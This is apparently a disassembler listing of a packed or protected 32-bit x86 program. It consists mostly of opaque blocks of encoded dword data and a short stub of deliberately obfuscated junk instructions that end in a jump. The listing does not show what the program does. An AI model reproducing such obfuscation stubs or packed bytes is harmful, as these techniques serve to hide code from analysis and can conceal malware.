		dd 115DB764h, 247h, 29C3994Fh, 44DE9071h, 61FB778Ch, 811B5DA9h
		dd 9F393BC9h, 8F75F9C3h, 72934BE5h, 35B26A04h, 2FD38B25h
		dd 0A8C1A741h, 0A01182B3h, 0D0A03528h, 0F8A7CD37h, 7CE15449h
		dd 0CDD6226Fh, 6F7D5DD8h, 0E6F76222h, 0D52DE5EFh, 86398DC7h
		dd 0B8C92F9Ch, 0EA3F4C1Eh, 7543F2A1h, 63FEE872h, 56AB076Ch
		dd 99042445h, 0A70930AFh, 0B7E72899h, 37F2D8C4h, 0B5DED911h
		dd 16000000h, 0F6A5CB37h, 0AB95D928h, 67BF1910h, 6EEDD79Dh
		dd 226F78FFh, 5CA50EF4h, 0AF670112h, 0E3331D53h, 0E796458Eh
		dd 9289EB19h, 456B0D2Dh, 0AD47B224h, 0B05FA8FDh, 9B290C01h
		dd 238E2899h, 32180D2Ch, 0EF2A6DE3h, 5826D584h,	46E1CB8Fh
		dd 0FEE88C78h, 0D62E6C63h, 40AEF9Eh, 0E4DA5550h, 70283229h
		dd 0DDAE094h, 3C6463EBh, 16196E2h, 7F690000h, 768B43DDh
		dd 5DA65EF8h, 43C37B15h, 21E39B35h, 13DDB953h, 65FF758Fh
		dd 841E58ADh, 0A53F1BCCh, 0C15B15EDh, 68CDC2DBh, 4F28A012h
		dd 8856EABAh, 0C604FB5Fh, 0E49C363Eh, 76BFB41Eh, 49226F7Dh
		dd 6133CDDEh, 0BBA5CB37h, 95FD9F63h, 748EA08h, 7625D4E5h
		dd 6FE6B481h, 0A9A00B22h, 949AEF9Fh, 46F50672h,	45E58951h
		dd 1CCB3624h, 22BCB44Eh, 2846BB89h, 6EACA33Eh, 0A2F2DC94h
		dd 4F98664Dh, 9186210Bh, 2899E6A4h, 66F4F31Bh, 0BFD0E17Ch
		dd 71936110h, 6A70C03h,	0A92A8970h, 73B9383Eh, 36906477h
		dd 0B6EAh, 322ABE00h, 4D21E098h, 6A08FBB3h, 8AEE18D0h
		dd 0A8CC38F0h, 0E468320Eh, 2BA5420h, 21D97303h,	42FA94C6h
		dd 3016B0C0h, 13132217h, 0FA428A0h, 0A1EA3F3Fh,	6B4FDF2h
		dd 90FB245Fh, 0A26432E1h, 5C51ECD6h, 289FF6D9h,	227C73DEh
		dd 9E3838CAh, 6A541CE6h, 8E757EEBh, 180BAD3Ch, 6312C042h
		dd 7278C76Eh, 988DF834h, 3472799Dh, 6DEDFA22h, 0CE9C4B5Ch
		dd 91734119h, 2AE2ECE3h, 56AE98D8h, 5ADEC8B0h, 0E2907341h
		dd 46665DF8h, 4D857D53h, 7278DD58h, 0E4D9E234h,	34727951h
		dd 5EAFB66h, 0EE25232Ah, 0AA4B5D4h, 0E403B052h,	2F7B6576h
		dd 3, 37D62E6Dh, 69C1ABB1h, 95EDD799h, 0C61E0852h, 0F54D373Fh
		dd 237B650Fh, 51A993E1h, 81D9C3B5h, 0AE06F082h,	16311B53h
		dd 1C7F68h, 48F5400h, 24048124h, 4, 3E2268h, 241C8900h
		dd 3E4C68h, 242C8900h, 50A26852h, 815A7C2Dh, 0F815D5EAh
		dd 1EA8346h, 4605F281h,	0D3893305h, 4EC815Ah, 89000000h
		dd 4832424h, 835D0424h,	3C8904ECh, 89DF8924h, 0FF5F087Dh
		dd 835D2434h, 1C8B04C4h, 0E7895724h, 4C781h, 0C7830000h
		dd 243C8704h, 0E664E95Ch, 0AD1DFFF9h, 462F880h,	309754B8h
		dd 50C50306h, 27C985C6h, 6847062Ah, 0CF381725h,	231DB5FFh
		dd 858D062Ah, 62A3BBFh,	0D88BD0FFh, 0E1858Dh, 6850062Ah
		dd 104h, 85C6D3FFh, 62A27C9h, 0F8BF6853h, 0B5FF8307h, 62A231Dh
		dd 3BBF858Dh, 0D0FF062Ah, 7A8C8589h, 0BD830630h, 62A3245h
		dd 0B840F00h, 8B000000h, 2A28B19Dh, 5E906h, 0BB0000h, 68000000h
		dd 100h, 7A90B58Dh, 53560630h, 247195FFh, 0B58D062Ah, 6307A90h
		dd 1E9F003h, 4E000000h,	0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh
		dd 6C6FFFFh, 90858D00h,	5006307Ah, 7A8C95FFh, 0FF580630h
		dd 0A03818E0h, 9D31B067h, 0E074E5Eh, 0FAC7A41Ah, 0A75CF94Dh
		dd 0A302861Dh, 72FEF517h, 0A56E9648h, 0AFA89374h, 0FD2B3921h
		dd 29450140h, 0C22DB12Ch, 0E9C96546h, 0E3D8904Eh, 78CF2628h
		dd 39DF344Bh, 9B590C5Ch, 7D479A22h, 5FCC0B22h, 0B972087Dh
		dd 0A5B9E847h, 2BC43577h, 0AE875h, 3EFB0000h, 1C57533Bh
		dd 5AF4EAC4h, 0AEEB8166h, 7E859B4h, 0AD000000h,	3BC0955Fh
		dd 0D98B6ACDh, 0ECC1815Bh, 6600005Ah, 68DE8Bh, 66000000h
		dd 8158F08Bh, 39A15E6h,	834FF19h, 11E9h, 9263F00h, 4DC455E3h
		dd 0C232C59Ch, 0E85B8161h, 815AEB8Eh, 0BD24DEDFh, 7BC28161h
		dd 0F17B562h, 686h, 850F00h, 81000000h,	48BF75F2h, 11E855h
		dd 78E0000h, 0CD47B4AEh, 0B0C0E4BEh, 0B2A24E86h, 0F80D3D7h
		dd 687h, 16C78100h, 5B2DD477h, 0E098EA81h, 52F56EF5h, 0C890Fh
		dd 7E90000h, 53000000h,	6C210EFCh, 48FD20Ch, 860F5001h
		dd 0
		dd 34E8815Eh, 8138E838h, 0E83830C0h, 0DF8B6638h, 0A5F4F881h
		dd 850FFFFFh, 0FFFFFF65h, 6E8h,	0B49D8600h, 816D3D4Ch
		dd 0E3C691EFh, 48E95F15h, 7C000000h, 93577E92h,	9DE61D8Ch
		dd 6E2E81E8h, 6C6C6474h, 6C6C642Eh, 0BD146700h,	0B98003B2h
		dd 0FEh, 9 dup(0)
		dd 0E9000000h, 6FCh, 309B8D68h,	0E40CE906h, 5068FFF9h
		dd 0E906309Ch, 0FFF9E402h, 309CEA68h, 0E3F8E906h, 0BC68FFF9h
		dd 0E906309Dh, 0FFF9E3EEh, 309EB968h, 0E3E4E906h, 6E68FFF9h
		dd 0E906309Fh, 0FFF9E3DAh, 0C15B01E7h, 0DC76F809h, 0F993DF24h
		dd 19B3C541h, 37D1A361h, 0F70D915Bh, 0DA2BE37Dh, 9D4A029Ch
		dd 976B23BDh, 40593FD9h, 0A016EA4Bh, 6838CD28h,	3343h
		dd 0CB378100h, 0D382BBA5h, 6F7D57DEh, 6FD6822h,	8D793AC8h
		dd 0A740DAEBh, 7D3203F8h, 1A85226Fh, 7D7BBE23h,	6F78226Fh
		dd 0EE573CEBh, 96D045B9h, 40121C13h, 0F2A1EA3Fh, 20EA3F0Dh
		dd 0EEE598B4h, 5C80DACFh, 0D6412446h, 63CC6DECh, 0F424289Ah
		dd 0F4B51501h, 681BD911h, 53000002h, 0F87C8856h, 5DA5730Eh
		dd 978E2913h, 0A4536A38h, 7D3500F5h, 1F8A226Fh,	6F7D0B2Ah
		dd 4F23E022h, 5DC8CA65h, 92DB3066h, 5C04EEE3h, 52BD2445h
		dd 36FFF4A3h, 892899A4h, 5FFE271Eh, 18027491h, 0A921867Dh
		dd 92EC6C02h, 7745F43Dh, 63FEE88Eh, 2FC7527Eh, 584F4528h
		dd 18A58A39h, 4A377E7h,	52086D64h, 0EFE649CFh, 93619A84h
		dd 0BBBD4954h, 4025C0AAh, 0F5D8CAEDh, 0E71D14D4h, 0FA768C92h
		dd 996C3AE9h, 6158F3DDh, 0B7454D42h, 0FF6AE871h, 0F0808250h
		dd 86D8BD56h, 4C816F36h, 8181BFB6h, 0A05DE9EFh,	92EC2660h
		dd 4CE46h, 1E3EAA00h, 3935CC84h, 561CE79Fh, 760204BCh
		dd 94E024DCh, 0D0541EFAh, 0EEA64034h, 0DC55F17h, 2EE680DAh
		dd 1C029CD4h, 18270E03h, 39828A0h, 0A5CB3733h, 0CD166BBBh
		dd 0BFB3501Eh, 24433AD5h, 455B032Fh, 5D2A0F24h,	16993CD3h
		dd 0A1948938h, 162899F6h, 0D742B4ABh, 0D03E643Dh, 0D483327Bh
		dd 7E75FD06h, 6FD4D919h, 0D82E562Ah, 0F1D68FA0h, 0BAF323B3h
		dd 39CDD328h, 0B17F2E3Fh, 9E392355h, 0C79388A7h, 78BCE34Bh
		dd 7ED3230Dh, 0E2D78635h, 0C1277553h, 0E302F964h, 0FAF5A4EEh
		dd 8C8130C2h, 0BB09F6A9h, 3AACA30Eh, 0B05220CFh, 0BF8D26C0h
		dd 0AD483228h, 0E68A78B6h, 0F7F670E0h, 337FD9FCh, 40Bh
		dd 0C15B01E7h, 0DC76F809h, 0F993DF24h, 19B3C541h, 37D1A361h
		dd 0F70D915Bh, 0DA2BE37Dh, 9D4A029Ch, 976B23BDh, 40593FD9h
		dd 0A018EA4Bh, 6838CD28h, 0F6A5CB37h, 0CDBDC28h, 0B8C9644Eh
		dd 705A1AEAh, 3484DED5h, 38E796DFh, 5B097D6Ah, 4CFB3C2Ah
		dd 9B8596h, 0A96EA409h,	0A8132445h, 0C0095E0Eh,	3DD01C11h
		dd 0E6512A8Ah, 1A996937h, 0DE7889E9h, 2ED7DC26h, 0FD4D3748h
		dd 0E2B05FA8h, 3E5D5424h, 6028A949h, 10C70624h,	0B9AF0319h
		dd 1595F70h, 486A8E53h,	371A2EEh, 9B4D0000h, 926F27C1h
		dd 798A42DCh, 5FA75FF9h, 3DC77F19h, 0F7C19D37h,	49E39173h
		dd 68027491h, 892337B0h, 0A53F31D1h, 84B1A6BFh,	3B28A019h
		dd 0CB37D6A6h, 8811F6A5h, 8FD8DFFDh, 5EAE08FFh,	2C11C009h
		dd 0D01135CCh, 55746BDCh, 460ECA60h, 897C4A24h,	1984F6EDh
		dd 1C8D37Fh, 16110000h,	65AE0391h, 571BE8B6h, 0FE5CFE6Dh
		dd 7C90E725h, 6055746Bh, 24463992h, 4715C42Fh, 96BFB6BCh
		dd 7E85C8B1h, 155EB3DDh, 1308B766h, 15858B22h, 0CE332A95h
		dd 175B6D24h, 0E791759Dh, 0A25162FDh, 5A4430D4h, 1E6EC8BFh
		dd 22D180C9h, 0CCC3AF54h, 7F292B67h, 2AD94419h,	30CAA65Ch
		dd 0D83B297h, 2C22F966h, 650BF735h, 6ECB055Fh, 9EEA4457h
		dd 29Fh, 55EF6D7Bh, 700A649Dh, 8D274BB8h, 0AD4731D5h, 0CB650FF5h
		dd 63A125EFh, 46BF7711h, 9DE9630h, 3FFB751h, 0D4EDD36Dh
		dd 0A01A56DFh, 4D46928h, 1207CB37h, 226F7D23h, 69182994h
		dd 7D70C5BAh, 0A59A226Fh, 226F7D90h, 4FBABC27h,	59AEFE58h
		dd 0BDB26110h, 226F7D78h, 0BEDDD43Fh, 455B69C9h, 2CDB4624h
		dd 1CFA75Eh, 0EE897305h, 0A554EDF7h, 99A385B0h,	0D8CF3A28h
		dd 2AF82D79h, 70A69DBDh, 2E23D21Bh, 2A6F81C4h, 9563127Dh
		dd 0C41C0670h, 5422333Fh, 0A4CDC4B0h, 8E9619BFh, 4891E6ACh
		dd 40F5EA99h, 77B15166h, 47F6150Ch, 6692A398h, 0BA25B151h
		dd 661F160Bh, 35A0B151h, 4819D93Eh, 4E9B327h, 443F834Eh
		dd 3CC593F7h, 0B6AD4832h, 9FEFD944h, 5D52014Ah,	0AD0E7535h
		dd 92600F7Ah, 0B0BE4370h, 0B54D059Fh, 760D281Dh, 47B2B156h
		dd 773E3036h, 0B10BF344h, 1A265h, 0F26A7E00h, 0D61A058h
		dd 2A48BB73h, 4A2ED890h, 680CF8B0h, 0A428F2CEh,	0C27A1460h
		dd 0E1993343h, 2BA5406h, 0F0D67000h, 1B53E2D7h,	0CF6428A0h
		dd 7E8856FFh, 7E7510FAh, 0C4AEC240h, 27D61F74h,	4566E032h
		dd 0A398A124h, 28999792h, 6E08FD25h, 0C7D8E984h, 88565B2Dh
		dd 0CD03FA7Eh, 0D1802F78h, 0A270FE03h, 8E291363h, 0E5AC3297h
		dd 26D245Fh, 0F37D8553h, 5261A159h, 0EF3C1B1h, 0CADB7660h
		dd 0F23B90E0h, 7EA64E43h, 0B41F2A90h, 0A5CB3705h, 0C1AF530Bh
		dd 0E93287D7h, 7425453Ah, 729A2445h, 0A0F8E292h, 8B261064h
		dd 1563697Ah, 346A878Dh, 0ED8EDAh, 1FC90000h, 16EBA33Dh
		dd 0FD06BE58h, 0E323DB75h, 0C143FB95h, 733D19B3h, 0C55F15EFh
		dd 0E47EF80Dh, 59FBB2Ch, 21BBB54Dh, 82D223Bh, 0AF28A01Ch
		dd 0EA3F4A1Ah, 0C324F2A1h, 1B12AD97h, 0E5F107FCh, 0E752245Fh
		dd 4715C4FDh, 30CBB5BBh, 0A015FA3Bh, 5B52BD28h,	0F18BE51Dh
		dd 1CEAC939h, 9D7725Ch,	7F697AFCh, 0E88C7846h, 0E9E28CF1h
		dd 8A7B7951h, 57AA02ECh, 77012D17h, 1B53AE84h, 0DFD2740Ah
		dd 0E4D9F909h, 79EE2751h, 50EAFB66h, 221308B7h,	9579EE27h
		dd 0DF5332Ah, 1E6B463h,	0B0086259h, 0B4382256h,	3E38CD9Bh
		dd 7D342747h, 275CD9CEh, 0F86379EEh, 313FC301h,	4D23DF97h
		dd 3BFAEF9Eh, 7C79EE27h, 87C01A11h, 39D0A7A2h, 22BDA7C9h
		dd 0C4900F3Dh, 159BCDh,	56D90000h, 0AA3D7E88h, 1AB59FB0h
		dd 7CBF766Bh, 9500226Fh, 37FF579Eh, 69C1ABB1h, 95EDD799h
		dd 0C61E0852h, 0F54D373Fh, 237B650Fh, 51A993E1h, 81D9C3B5h
		dd 0AE06F082h, 16311B53h, 527B68h, 48F5400h, 24048124h
		dd 4, 0F5C68h, 24348900h, 81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 0CB682404h, 89000012h, 50BF243Ch,	8906309Ah
		dd 0EC815FFEh, 4, 81242489h, 42404h, 56580000h,	59242C81h
		dd 8F12201Eh, 40810840h, 201E5908h, 24048B12h, 5E08950h
		dd 4, 8704C083h, 8B5C2404h, 89522434h, 4C281E2h, 83000000h
		dd 148704C2h, 1FE95C24h, 65FFF9DDh, 0BCCAF818h,	30A080B8h
		dd 0FFC50306h, 60CBEE0h, 2D01B213h, 98141B4Ch, 0D2309A2Dh
		dd 33E7205Fh, 3E51C84Ah, 21E965h, 674E0000h, 2A84h, 6 dup(0)
		dd 0E9000000h, 542h, 0B54F0DDBh, 0D06A04FDh, 0ED87EB18h
		dd 0DA7D135h, 2BC5AF55h, 301854Fh, 0E61FD771h, 0A93EF690h
		dd 0A35F17B1h, 344D33CDh, 0A01DF63Fh, 6434C928h, 0BBA5CB37h
		dd 39D3A163h, 40EF8181h, 0F9E39372h, 0B50D675Eh, 39234Dh
		dd 0A9A0D032h, 0EED8966Bh, 82392CCEh, 0B875C79Dh, 564D4C7Ch
		dd 3BC9EA18h, 0AB792839h, 932E1856h, 0DDA929Ch,	0ECFBB34Dh
		dd 0D92C846Eh, 162FB39Dh, 9EC37267h, 89F4226Fh,	0A97F7292h
		dd 0CA821C3Eh, 0DA893838h, 6F9F50E5h, 22286722h, 39107350h
		dd 0CD271E2Fh, 6FD3EC4Eh, 0C9BCE422h, 0E764EDDDh, 57E3D2h
		dd 371B0000h, 82BBA5CBh, 302733B4h, 6F7D70CBh, 473A6222h
		dd 0E70D6F5Bh, 161D2h, 37990000h, 81BAA4CAh, 72E23D2h
		dd 0B8226F7Dh, 7CDD584Dh, 0EF16226Fh, 231A8587h, 68521CE5h
		dd 9882F610h, 0DE3D678h, 2964A6F4h, 0CEB3BF44h,	0C0433EB5h
		dd 0F690A1B2h, 12ACC43Eh, 0A7CD3740h, 0D29C65BDh, 5D505AE8h
		dd 5DF77D87h, 91565DA5h, 7CFF362Bh, 55C0226Fh, 0AEBF5A44h
		dd 1E976CC4h, 2ABD8BE3h, 9AAB4630h, 0C7AB58B0h,	0F86285DDh
		dd 594CEE0Eh, 72406F40h, 5AF5DF8Fh, 7D7FB6ABh, 0D540226Fh
		dd 14CBBEDEh, 9AE1BD46h, 0E3046DAEh, 0D3271E2Fh, 0D2E79507h
		dd 0A0E9h, 0CD372100h, 9F84BDA7h, 6E0B12B8h, 8CCAC195h
		dd 0F111FB77h, 7E865C4Fh, 0F5C35CF6h, 2F6D640Eh, 5020E2D5h
		dd 0BBACB66h, 92DC3F26h, 2E252158h, 0EE8A7CD4h,	0E193713Fh
		dd 0B655CF7h, 0A18D80B0h, 0D2E77539h, 4C2ADBA9h, 6A4455h
		dd 0D0B50000h, 560B571Ah, 0CCA85C35h, 683647E2h, 52EDD79Bh
		dd 0CD37035Bh, 0D72AF8A7h, 1B12AD97h, 0DC7E69C1h, 0D898482Dh
		dd 39001A7Dh, 0E9DE842h, 0D3D9C140h, 0DA792445h, 0D6321728h
		dd 0EA6FD362h, 86799990h, 0A36354B0h, 3F50EBD5h, 0C63E0CA5h
		dd 3229C4AEh, 0A4CA37DAh, 7CFF3BBAh, 0A7CF226Fh, 0E02C8B4h
		dd 1CED2E7h, 6000000h, 0BCA6CC37h, 0E8D29E64h, 0A0574A64h
		dd 564030D2h, 7D86C4BBh, 56AB5BF5h, 0ACBDB150h,	584208FDh
		dd 94FF2445h, 0C0B052AAh, 0DC946E26h, 0A7C873F2h, 0AC3C2899h
		dd 511FE3B9h, 422ED4A2h, 7989414Bh, 4DB50DF7h, 6D49C66h
		dd 0F28D77FFh, 6069F7E1h, 0E64E957Bh, 24D3D212h, 9A3B062Fh
		dd 574EB928h, 0BF8D4437h, 0E2927245h, 669CDAD1h, 28A2700Ah
		dd 0A8D911CCh, 172h, 3EA3FE0h, 6F7D270Eh, 1C2D9822h, 5972786Dh
		dd 0B4822445h, 0BB2D2450h, 0FDF2A150h, 2899A238h, 0C31D147Fh
		dd 3FD9976Bh, 4B0FD8A6h, 0F3EA847Dh, 604F4DB5h,	6F1AC3D2h
		dd 3705B4C5h, 55AFA6CCh, 0C0B84E1Ch, 0F9778BC9h, 8FA69B4Ah
		dd 3028997Eh, 7E033227h, 49B42899h, 8FE74138h, 0A7160076h
		dd 54C8CACBh, 3EC795AFh, 0B6C04E38h, 9DA6AAC3h,	453C32CFh
		dd 0A65C3225h, 686230CAh, 68D911EFh, 3Bh, 9DE63FA0h, 83DCF9EEh
		dd 7BA35D90h, 0F1DBEC8Ah, 6F7BC372h, 0D7CA54A2h, 0B867B009h
		dd 908312C3h, 8566A5DDh, 0C3EFCCD4h, 7E17B1C2h,	495BDACFh
		dd 0F15C2270h, 0B4C8FAh, 56060000h, 11FB5F88h, 0F4497F76h
		dd 7F4DFCABh, 0C621EF85h, 180FAA94h, 4573EFB3h,	5F540324h
		dd 28998BD6h, 3244C1E9h, 0A59CAD48h, 3419C833h,	0F51999D4h
		dd 3DC896CBh, 90E84239h, 814FFE72h, 6D08F284h, 24D36C76h
		dd 0D0C5AD56h, 289A2065h, 0BAF8EF5Ah, 0DA986B48h, 954455F0h
		dd 4AFD5BB0h, 0ACA39B0Ah, 50EDD352h, 5FEF289Ah,	476C966Ch
		dd 0F7A6B7BDh, 0A9B9F12h, 8A7F041Ah, 18FFF97Dh,	3A443B4Ch
		dd 3DEC358Ah, 8A33BF48h, 0AB95002Ah, 0D7C1AF53h, 78463953h
		dd 0EE473C23h, 0D1228A73h, 0D8A65566h, 9614B0Fh, 72697AFCh
		dd 0D4A95E53h, 6FDA247Ah, 0EA3F03D5h, 435420E4h, 0DE689F94h
		dd 0B01B245Fh, 0A1CF3301h, 0CB251CB7h, 323EC492h, 6B05FD3Bh
		dd 5B13EEBCh, 0DCC15A64h, 0FCF08E0Dh, 8463D2Bh,	0D8C76FAh
		dd 150C005Dh, 9B85ED16h, 0CBB5C343h, 922159Fh, 8DED173h
		dd 6D4CB9FAh, 0E2CCDD97h, 0E49C3647h, 56F951Eh,	313FC31Bh
		dd 8A9BAC47h, 0ED8267A0h, 0C9275C65h, 51B5F3EAh, 20E53D27h
		dd 0EF146C56h, 0FB159983h, 0D95C5108h, 0DE4CF442h, 4E686273h
		dd 0F37D855Bh, 0F61A159h, 5559260h, 868B40Eh, 0A6000000h
		dd 0C3410F2Eh, 3762BAB1h, 69C1ABB1h, 95EDD799h,	0C61E0852h
		dd 0F54D373Fh, 237B650Fh, 51A993E1h, 81D9C3B5h,	0AE06F082h
		dd 16311B53h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	34E6h
		mov	[esp], edx
		mov	edi, 24437139h
		xchg	esi, edi
		not	esi
		xchg	esi, edi
		add	edi, 2A741296h
		push	62B9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	0D23h
		mov	[esp], edi
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		dd 0E294AF4Dh, 0F62DF557h, 24B8939Eh, 30630A6h,	7CE0FFC5h
		dd 75785B10h, 73062558h, 1560E30Bh, 6B333CA7h, 365A9B33h
		dd 264371ACh, 821F323Dh, 0E6507369h, 0E3635399h, 8501CC8h
		dd 0D042E90Ah, 6A2B5D81h, 397996C3h, 4A02D40Eh,	952D6D0Eh
		dd 8D22C342h, 0FB440A55h, 966E1E3Bh, 96B19DCh, 0F37E3A32h
		dd 3F07B647h, 175E5C0Dh, 475C81h, 0F376E51Eh, 847DBECAh
		dd 0B86D90B6h, 3F24AAFDh, 423BBE5Eh, 0DE7F0FD4h, 0E862D761h
		dd 0Ch,	0AA98E5FEh, 0EDA6DDA9h,	0CC798D73h, 9E8h, 7A38CB00h
		dd 0B3F0C21Bh, 7E9309Fh, 0E000000h, 87AD1ADFh, 5A580C75h
		dd 0F79605B8h, 0DDC28135h, 2B000069h, 0CBBF0FDBh, 8A1334FFh
		dd 0BE665FE7h, 0EF81A3EEh, 5BF0E92Dh, 3850Fh, 8B660000h
		dd 0B2F781C1h, 0F3B0412h, 28Eh,	815FB400h, 0F1A7A8C7h
		dd 3E85BE37h, 0F8570AD5h, 661A048Fh, 850FC28Bh,	8, 8C0F60h
		dd 61000000h, 0CEA9EB81h, 81FC6BE0h, 0E0CEA5C3h, 0AE96Bh
		dd 463C0000h, 8113340Bh, 0C49E4115h, 96CCFB81h,	850FFFFFh
		dd 0FFFFFF90h, 0E2E18166h, 1FE9ADh, 0E7870000h,	275Bh
		dd 6 dup(0)
		dd 4F3E900h, 49680000h,	0E90630A9h, 0FFF9D626h,	30A9B868h
		dd 0D61CE906h, 1568FFF9h, 0E90630ABh, 0FFF9D612h, 0F993C91Fh
		dd 14AEC041h, 31CBA75Ch, 51EB8D79h, 6F096B99h, 0BF45C993h
		dd 0A2631BB5h, 65823AD4h, 5FA35BF5h, 78917711h,	0A025B283h
		dd 0A0700528h, 70587156h, 71561EE6h, 4FB6C40h, 4C363EC6h
		dd 6D966413h, 7F251005h, 38CE226Fh, 0DCD33E40h,	5D0C649Eh
		dd 7F7CB9AEh, 1B43226Fh, 847B8CEAh, 2C75CA7Ah, 4BE6887Dh
		dd 0EF9E2445h, 99B33BFAh, 1A117C28h, 0D4533DA8h, 2899B365h
		dd 7C685B8Bh, 0D911444Eh, 4541A674h, 861C44B3h,	0D0BACBD3h
		dd 0FBE58978h, 47584F60h, 2EDh,	1987167Fh, 0D7CC7BC4h
		dd 24455C1Bh, 92AC02E7h, 1D8C769Dh, 0C6ABB426h,	96FAF517h
		dd 73C2B77Dh, 44289990h, 2A0FC8D9h, 0E5342E18h,	0AD887D2Ch
		dd 121DBEF2h, 6F5919EAh, 57DEC3D4h, 2617AA5Eh, 0D4295F56h
		dd 37E7DC8Bh, 781F94CAh, 7ED3230Dh, 0EF918635h,	0B021AA90h
		dd 317C3671h, 0F50606B5h, 2A8B7846h, 9E8899D9h,	1FED0C03h
		dd 5AF38DE3h, 67FB6ABh,	0D5401DBFh, 8B75FB07h, 47BBF9F0h
		dd 69F968Bh, 0B5201DBFh, 148E9EA4h, 61BB5FADh, 2EA15h
		dd 62FAEE00h, 7DF110C8h, 9AD82BE3h, 0BABE4800h,	0D89C6820h
		dd 1498623Eh, 32EA84F0h, 5109A3D3h, 722AC496h, 6046E090h
		dd 25E35247h, 3FD428A0h, 0A1EA3F6Fh, 0DBE6FDF2h, 17FC245Fh
		dd 1F34093Fh, 38A18E9Fh, 281EEFD4h, 570E2D9h, 0F67A8856h
		dd 5B7A710Ch, 63FD778Dh, 311B59ABh, 0C0EC0EB2h,	71FF03E3h
		dd 2D22CB6Bh, 0D8247E5Eh, 27Bh,	59F3697Fh, 740E60A1h, 912B47BCh
		dd 0B14B2DD9h, 0CF690BF9h, 5FA529F3h, 42C37B15h, 5E29A34h
		dd 0FF03BB55h, 0D8F1D771h, 0A02652E3h, 0D06528h, 0F67A8856h
		dd 447A710Ch, 2F7A6EFh,	245FDBE1h, 6348F762h, 0A87A7691h
		dd 146E655Fh, 9FADA495h, 0BDB34F28h, 0EA887BD3h, 6F627C00h
		dd 88568556h, 0E404FB5Fh, 39C505F1h, 7A0BD917h,	43000001h
		dd 6FD1CB37h, 6D72B866h, 0A8570617h, 6F9E82B3h,	0D3CA3522h
		dd 90724079h, 80F012E0h, 0FCB74B89h, 0AE5D6E0Ah, 9E2B0AFFh
		dd 218C226Fh, 1B70202Ah, 3C2E23D2h, 0E524457Ah,	2811907Ah
		dd 0C8289982h, 11B9A598h, 0BFD9110Fh, 3Dh, 0A1EA3FF7h
		dd 56B5FDF2h, 9E4D2445h, 99A78CA9h, 0D1C83328h,	0D10AF45Fh
		dd 0A7082D22h, 44AF2899h, 0A751E84Dh, 6F9F2899h, 0F2E0C57Ch
		dd 0FEE8538Bh, 0FECC2017h, 0D2D9117Eh, 9Eh, 0A5CB370Ah
		dd 0DBDC28F6h, 41384927h, 0FF758FE7h, 2B45BD15h, 5719E941h
		dd 0AF5624BDh, 746BD0C7h, 6B226F78h, 8AE61C97h,	0E72005A0h
		dd 0D243DE30h, 37E78192h, 3BEA99E2h, 6D41DB56h,	0F9F9DE98h
		dd 0B61B129Ah, 24449931h, 0E68C7745h, 0F86A61FCh, 0F410DE8Dh
		dd 0D62EE680h, 0F7A8989Eh, 47A16A89h, 11EFBh, 96C62200h
		dd 0B1BD44FCh, 0CEA45F17h, 0EE8A7C34h, 0C689C54h, 48CC9672h
		dd 661EB8BCh, 853DD79Fh, 0A65EF862h, 947A145Ch,	28AF867Bh
		dd 7B1028A0h, 0A7CD37ABh, 0C3AD550Dh, 88565729h, 7611FB5Fh
		dd 2F195DA8h, 0A35F9D94h, 778BE3CDh, 5AAF5FF9h,	3B6D6211h
		dd 7C244532h, 70946211h, 0AE8B6A04h, 452899CBh,	0BB4715BDh
		dd 3B30CBB5h, 2899CAFAh, 8B6D52BDh, 0C8ED453h, 0D0882233h
		dd 37828334h, 0AD97A8CEh, 0CB170112h, 93h, 0A1EA3F09h
		dd 885E43F2h, 34D1795Dh, 0C91E837Ah, 7A246016h,	0A5F9563Bh
		dd 86974BCCh, 0B2BE449Ch, 0CEA26018h, 5A8165E4h, 1A20934h
		dd 0F27E8452h, 0CAEB38FDh, 4F729C49h, 0C736284Bh, 43635AC5h
		dd 0E8887A50h, 46C964Eh, 3444C21Ah, 244AB785h, 4EA89F3Ah
		dd 0E7BDB0CAh, 3BB551Bh, 0F4C271FFh, 0E07B6511h, 28438FE9h
		dd 0BA000000h, 665D19ECh, 7D88560Eh, 7CCF665Bh,	85F0226Fh
		dd 0F8EF8A74h, 0EEE392B1h, 226F7D47h, 7C280D78h, 5E355960h
		dd 3787DFD6h, 69C1ABB1h, 95EDD799h, 0C61E0852h,	0F54D373Fh
		dd 237B650Fh, 51A993E1h, 81D9C3B5h, 0AE06F082h,	16311B53h
		dd 5E08950h, 4,	8704E883h, 895C2404h, 4832424h,	0E680424h
		dd 8900003Ah, 8952242Ch, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 2434895Ch, 4A89BF57h, 0EFC12355h, 0B9514705h, 69463CD5h
		dd 4F59CF09h, 0F781D7F7h, 9091E933h, 685FFD89h,	6785h
		dd 81242489h, 42404h, 685E0000h, 3C41h,	8F242C89h, 348B0846h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 2434FF5Ch
		dd 4C4835Dh, 0F9D145E9h, 0D489FFFFh, 684618Fh, 0AC58B864h
		dd 0C5030630h, 0B90E0FFh, 886139DCh, 7BC76CFEh,	0B09E5002h
		dd 0A1F27596h, 8C431B4Ah, 0D8FA7E60h, 44A348E4h, 652735F8h
		dd 307E7CFEh, 54A77C5Dh, 0CE007C44h, 0DAE34061h, 20696h
		dd 0CC33719Ah, 0B1435E1Ah, 27057106h, 0CDE55C6Bh, 955D5631h
		dd 4979661Ch, 787C557Eh, 90BD16CFh, 0BFEF34D9h,	0A853296Ah
		dd 365DB162h, 56AEA3DAh, 1B425432h, 0B561C8D1h,	0E863B37Eh
		dd 5990B52Dh, 0E61B3C34h, 3743EE44h, 5418B132h,	56AEB135h
		dd 56563F3Dh, 5652B132h, 56D85832h, 0B159B132h,	0AA4BB336h
		dd 7EAAC1F9h, 7E3D2E11h, 57ACF400h, 0AF57B132h,	0D8A4B132h
		dd 56D5B13Ah, 56E8373Dh, 3715B132h, 56BABCDBh, 84398B32h
